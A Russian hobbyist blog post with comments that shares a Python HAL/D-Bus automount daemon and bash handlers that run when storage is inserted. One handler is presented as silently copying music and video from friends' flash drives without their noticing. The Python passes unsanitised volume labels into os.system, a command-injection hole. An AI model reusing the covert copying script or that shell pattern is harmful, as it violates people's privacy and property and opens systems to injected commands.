Тот самый маунтманагер

Цель: при вставке устройства хранения данных вызывать цепочку баш скриптов, делающее с вставленным и отмонтированным носителем разные непотребства.

Реализация: Раньше для этого я использовал ivman, но чего-то он слишком громоздкий был. За основу взят комментер событий на питоне от radiofun, из которого вырезана часть составляющая комментарии (теперь комментируем события из баш скриптов, по мере надобности. На моей станции комментирует самописная прога на сях lsay ( проприетарный цепстраловский синтез + зажигание светодиодов в lpt в зависимости от амплитуды речи ))

EDIT: Вордпресс нещадно корябает форматирование, так что вот ссыль на архив с ними: http://invyl.ath.cx:8080/files/nmm.tar.gz

Собственно сырец маунт манагера и комменты к нему ниже

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/python
# -*- coding: utf-8 -*-
###########################################################################
#  Event Commenter + automount via hal  + bash handlers                   # 
# ------------------------------                                          #
# copyright : © 2008 radiofun; © 2009 Necromant                           #
# jabber    : radiofun@jabber.ru                                          #
# jabber    : aifiltr0@invyl.ath.cx                                       #
#                                                                         #
###########################################################################
#                                                                         #
#   This program is free software; you can redistribute it and/or modify  #
#   it under the terms of the GNU General Public License as published by  #
#   the Free Software Foundation; either version 2 of the License, or     #
#   (at your option) any later version.                                   #
#                                                                         #
###########################################################################
 
import gobject
import threading
import math
import dbus
import dbus.mainloop.glib
import os
 
handler_script = "/home/aifiltr0/.config/NMountManager/storage_handler.sh"
 
class NMountMgr():#threading.Thread):
    def __init__(self):
        #threading.Thread.__init__(self)
 
        self.__bus = dbus.SystemBus()
        self.__hm = self.__bus.get_object('org.freedesktop.Hal','/org/freedesktop/Hal/Manager')
        self.__hm.connect_to_signal('DeviceAdded', self.deviceAdded)
        self.__hm.connect_to_signal('DeviceRemoved', self.deviceRemoved)
	self.handler_script = handler_script
        self.__connectedDevices = dict();
 
    def deviceAdded(self, devID):
        device = dbus.Interface(self.__bus.get_object("org.freedesktop.Hal", devID),
                                "org.freedesktop.Hal.Device")
        exec_line = self.__prepareAction(device)
        if len(exec_line) > 0:
	  self.__connectedDevices[devID]=exec_line
	  os.system(self.handler_script + " connect " + exec_line);
 
    def deviceRemoved(self, devID):
        if devID in self.__connectedDevices:
            exec_line = self.__connectedDevices.pop(devID)
            os.system(self.handler_script + " disconnect " + exec_line);
            #self.__say(message);
 
    #prepare device comment!
    def __prepareAction(self, device):
        exec_line = ""
        if device.PropertyExists('info.capabilities'):
            isCD = device.QueryCapability('volume.disc')
            #if "volume"
            if device.QueryCapability('volume') and not isCD:
                size =self.__getHumanReadableSize(device.GetProperty('volume.size'))
                label = device.GetProperty('volume.label')
                if len(label) < 1:
                    label = device.GetProperty('volume.fsversion')
                #message += "Volume connected: label is " + label + ", Total size "+ size
		#device.Mount(label,"rw");
		uuid = device.GetProperty('volume.uuid')
		uuid = uuid.replace("-","_")
                vol = self.__bus.get_object('org.freedesktop.Hal', '/org/freedesktop/Hal/devices/volume_uuid_' + uuid)
                #Dirty hack for vfat unicode mount
                #
                if (device.GetProperty('volume.fstype')=='vfat'):
		  mopts=("utf8","uid=1000","shortname=mixed");
		else:
		  mopts=("uid=1000");
                vol.Mount('', device.GetProperty('volume.fstype'), mopts , dbus_interface="org.freedesktop.Hal.Device.Volume")
		mpoint = device.GetProperty('volume.mount_point')
		exec_line = " volume \"" + mpoint + "\" \"" + label + "\" " + uuid
            # if CD or dvd
            # I have no cd/dvd on my netbook, so the following is not well tested
            if isCD:
                label = ""
                if device.GetProperty('volume.disc.has_audio'):
                    label += " audio "
                if device.GetProperty('volume.disc.is_blank'):
                    label += " empty "
                label += device.GetProperty('volume.disc.type') + " "
                label += device.GetProperty('volume.label')
		uuid = device.GetProperty('volume.uuid')
		uuid = uuid.replace("-","_")
                vol = self.__bus.get_object('org.freedesktop.Hal', '/org/freedesktop/Hal/devices/volume_uuid_' + uuid)
                vol.Mount('', device.GetProperty('volume.fstype'), "", dbus_interface="org.freedesktop.Hal.Device.Volume")
		mpoint = device.GetProperty('volume.mount_point')
                exec_line = " cd \"" + mpoint + "\" \"" + label + "\" " + uuid
            #if storage
            elif device.QueryCapability('storage'):
                #message += 'Device connection detected: '
                #message += self.__getDeviceName(device) + " storage"
                exec_line = "stgdev \"" + self.__getDeviceName(device) + "\""
            #это должно быть саммы последним!            
	    elif (device.PropertyExists('linux.subsystem')
                    and (device.GetProperty('linux.subsystem') == 'usb')) :
                category = device.GetProperty('info.category')
                devName = self.__getDeviceName(device)
                #message += devName + " " + category
                exec_line = "usbdev \"" + self.__getDeviceName(device) + "\""
        return exec_line
 
    # in uint64!
    def __getHumanReadableSize(self, size):
        dim = int(math.log(size, 1024))
        result = {
            0 : lambda x: str(x) + ' bytes',
            1 : lambda x: str(int(x/1024+0.5)) + ' kilobytes',
            2 : lambda x: str(int(x/1.048576e6+0.5)) + ' megabytes',
            3 : lambda x: str(int(x/1.073741824e9+0.5)) + ' gigabytes'
            }[dim](size)
        return result
 
    def __getDeviceName(self, device):
        result = ""
        if device.PropertyExists('info.vendor'):
            result = device.GetProperty('info.vendor') + " "
        if device.PropertyExists('info.product'):
            result += device.GetProperty('info.product')
        else:
            result += "unknown"
        return result
 
    def __say(self, text):
        #pipe = os.popen('espeak -vmb/mb-fr4-en -s 150 -a 100','w')
	pipe = os.popen('lsay \'' + text+ '\'','w')
        print text
        #pipe.write(text)
        pipe.close()
 
    def __del__ (self):
        self.__bus.close()
 
 
 
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
 
ec = NMountMgr()
mainloop = gobject.MainLoop()
mainloop.run()

В самом начале поправьте урл скрипта-хэндлера. у меня он на баше, но Вы можете его на чем угодно делать. Его задача минимальна, исходник привожу ниже.
из папки handler_dir (не забудьте выставить свою!) Вызывает все скрипты предварительно установив полученные аргументы в переменные к которым легко обращаться и export’нув их.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/bin/bash
handler_dir="/home/aifiltr0/.config/NMountManager/stg_handlers.d/"
 
report()
{
kdialog --passivepopup "$1" --title "NMountManager"&
lsay "$1"
}
 
#Comment this if you do not want reports about what is connected
early_report()
{
report $1
}
 
export report
 
echo $1 $2 $3 $4 $5
 
ACTION=$1
export ACTION
 
TYPE=$2
export TYPE
 
case "$TYPE" in
  volume)
 
  MPOINT=$3
  LABEL=$4
  UUID=$5
  export MPOINT
  export LABEL
  export UUID
 
  if [ $ACTION == "connect" ]; then
  report "A new storage volume has been connected. Label is $LABEL. I have attached it to $MPOINT"
  else
  report "Storage volume $LABEL removed"
  fi
  ;;
 
  cd)
  MPOINT=$3
  LABEL=$4
  UUID=$5
  export MPOINT
  export LABEL
  export UUID
  if [ $ACTION == "connect" ]; then
  report "A compact disk has been inserted. Label is $LABEL. I have attached it to $MPOINT"
  else
  report "Compact disk ejected."
  fi
  ;;
 
  stgdev)
  DEVICENAME=$3
  export DEVICENAME
  if [ $ACTION == "connect" ]; then
  report "A storage device called $DEVICENAME has been connected. "
  fi
  ;;
 
  usbdev)
  DEVICENAME=$3
  export DEVICENAME
  if [ $ACTION == "connect" ]; then
  report "A USB device called $DEVICENAME has been connected. "
  else
  report "A USB device called $DEVICENAME has been disconnected. "
  fi
  ;;
 
esac
 
 
BROWSEABLE=0
if [ $ACTION == "connect" ]; then
 
  if [ $TYPE == "cd" ]; then
  echo "cd"
  BROWSEABLE=1
  fi
 
  if [ $TYPE == "volume" ]; then
  echo "vol"
  BROWSEABLE=1
  fi
fi
 
 
export BROWSEABLE
echo "$ACTION TYPE: $TYPE MPOINT=$MPOINT LABEL=$LABEL UUID=$UUID BROWSEABLE=$BROWSEABLE"
 
cd $handler_dir
rm *~
for file in `ls`; do
. $file
done;

В папке с хэндлерами мы можем складывать свои баш скрипты на все случае жизни. Из каждого скрипта нам доступно:
$ACTION — connect или disconnect
$TYPE — тип устройства: usbdev, stgdev, cd, volume. Последние два монтируются автоматом, а куда именно — узнать можем через $MPOINT. Там путь к точке монтирования.
$BROWSEABLE — это для ленивых, чтобы не проверять несколько разом и сэкономить на ифе: Если 1 — значит нечто отмонтировано и в $MPOINT можно минимум почитать данные.
usbdev и stgdev выставляют $DEVICENAME, для cd и volume есть еще $LABEL и $UUID, так что свои флешки распознатиь легко.

Вот примеры простых скриптов-хэндлеров:
Этот проверяет по ууиду (ам) моя ли эта флешка и экспортирует переменную STG_OWNER.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
 
# This script checks who does this storage belong to. 
# And exports a variable
# This can be: 0 - ours 1 - foreign, quite simple, but nevertheless
 
stg_pdacard=B4DC_999E
 
verify_storage()
{
for dev in $@; do
  if [ "$dev" == "$UUID" ]; then
    echo "$dev matched owner list!"
    return 0;
  fi
done;
return 1
} 
 
if [  $BROWSEABLE -eq "1" ]; then
verify_storage $stg_pdacard
STG_OWNER=$?
echo "OWNER IS: $STG_OWNER"
export STG_OWNER
fi

Я задолбался сносить с флешки автораны с вирусней, когда попользую ее на вендовозных машинах в инсте. Надо бы написать парсер авторан.инфа чтобы еще и сообразить где лежит вирусня, но лень.

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
#ToDo: Properly parse ini file to locate the f*cking shit
echo "==> $ACTION $TYPE"
if [ $ACTION == "connect" ]; then
  if [ $TYPE == "volume" ]; then
  if [ -e $MPOINT/autorun.inf ]; then
  report "Security alert! The removable device has probably been infected and is dangerous for windows systems. Initiating disinfection sequence."
  rm $MPOINT/autorun.inf
  report "Disinfection complete"
  fi
  fi
fi

Коммуниздим потихоньку музочку с флешек друзей в фоновом режиме. Всю, какую находим и складываем в ~/msx4sort/UUID. Зависит от первого скрипта-хэндлера, который проверяет наша ли это флешка и если наша — то игнорирует. (свою-то музыку нафига копировать?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
 
#This script make sure you get all the mp3 from a flash drive of your friend without him/her ever noticing it
#Just make sure you fill in the data required
TARGET_DIR=~/msx4sort/
 
sync_type()
{
echo "`pwd` $1"
find . -iname $1|while read FILE; do
    if [ -f "$FILE" ]; then
      if [ ! -f "$TARGET_DIR$FILE" ]; then
	cp --parents "$FILE" "$TARGET_DIR"
	echo "==>"$FILE
      fi
    fi
  done
 
}
 
if [ $BROWSEABLE -eq "1" ]; then
  if [ $STG_OWNER != "0" ]; then
  report "Music leech in progress."
  mkdir $TARGET_DIR$UUID
  TARGET_DIR=$TARGET_DIR$UUID
  cd $MPOINT
  sync_type \*mp3
  sync_type \*ogg
  sync_type \*avi
  sync_type \*flv
  else
  echo "skipping owned devices"
  fi
fi

Ну и на последок: автоматом скопировать фотографии с карточки фотика, которую определяем по ууид.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash
target_dir="/home/aifiltr0/Фотографии"
target_vid_dir="/home/aifiltr0/кЫно/видеозаписи/с коммуникатора"
 
if [ $BROWSEABLE -eq "1" ]; then
  if [ $UUID == "B4DC_999E" ]; then
 
  report "This is your smartphone's card. Multimedia data transfer in progress."
  cd "$MPOINT/My Pictures"
  for file in `find . -iname \*jpg`; do
  mv "$file" "$target_dir/$file"
  done;
 
  cd "$MPOINT/My Videos"
  for file in `find . -iname \*3gp`; do
  mv "$file" "$target_vid_dir/$file"
  done;
 
  report "Transfer complete"
  fi
fi

Все скрипты пронумерованы, то есть в имени в лучших традиция 00, 01, 02 в самом начале. Так можно задать очередность выполнения. Все. спасибо radiofun за начальный скрипт.

З.Ы. Там в самом первом баш скрипте определен report()
так как я кдешник, вывожу сообщения через kdialog и на синтез речи. гномерам и прочим просто поправить и все будет ку. Не забудьте на всех скриптах сделать chmod +x ну и запускать ./mount_manager.py при загрузке.
Вот собственно и все, хотя по хорошему надо бы еще и код подчистить местами.

Тот самый маунтманагер: 7 комментариев

  1. Для CD DVD надо поправить =)

    строчка № 90

    vol = self.__bus.get_object(‘org.freedesktop.Hal’, ‘/org/freedesktop/Hal/devices/volume_uuid_’ + uuid)

    я заменил на
    mdm_cd_dvd = device.GetProperty(‘volume.label’)
    vol = self.__bus.get_object(‘org.freedesktop.Hal’, ‘/org/freedesktop/Hal/devices/volume_label_’ + mdm_cd_dvd)

    Бо в хале с сидюками и дивидюками по ууиду не работают.

    ЗЫ lshal откроет глаза.

    1. Угу, спасибо сейчас внесу. просто делалось на нетбуке где привода нет, да и не пользуюсь я болванками практически.

  2. еще лучше будет вот как сделать:

    # if CD or dvd
    # I have no cd/dvd on my netbook, so the following is not well tested
    if isCD:
    label = «»
    mpoint = «»
    if device.GetProperty(‘volume.disc.has_audio’):
    label += » audio »
    if device.GetProperty(‘volume.disc.is_blank’):
    label += » empty »
    #label += device.GetProperty(‘volume.disc.type’) + » »
    label += device.GetProperty(‘volume.label’)
    uuid = device.GetProperty(‘volume.uuid’)
    uuid = uuid.replace(«-«,»_»)
    #mdm_cd_dvd = device.GetProperty(‘volume.label’)
    if not device.GetProperty(‘volume.disc.is_blank’):
    vol = self.__bus.get_object(‘org.freedesktop.Hal’, ‘/org/freedesktop/Hal/devices/volume_label_’ + label)
    vol.Mount(», device.GetProperty(‘volume.fstype’), «», dbus_interface=»org.freedesktop.Hal.Device.Volume»)
    mpoint = device.GetProperty(‘volume.mount_point’)
    exec_line = » cd \»» + mpoint + «\» \»» + label + «\» » + uuid

    #if storage

    Это позволит не монтировать пустые болванки.

    ЗЫ я потихонечку буду доводить до ума =)
    хочу прикрутить еще и блютуз.

  3. Тогда стукнись мне в жаббер. aifiltr0 (at) invyl.ath.cx Сообразим на двоих что можно допилить и как.

Добавить комментарий